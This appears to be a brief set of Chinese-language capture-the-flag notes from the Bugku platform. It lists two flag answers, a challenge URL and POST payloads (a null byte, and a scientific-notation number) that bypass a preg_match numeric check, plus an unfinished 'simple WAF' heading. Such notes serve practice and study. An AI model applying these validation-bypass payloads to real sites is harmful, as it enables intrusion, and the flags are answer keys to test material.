flag{Bugku-D-M-S-J572}
數字驗證正則繞過
http://123.206.87.240:9009/21.php
post內容:password=%00
或者password=42.0e%2b00000
flag{Bugku_preg_match}
簡單的waf
待續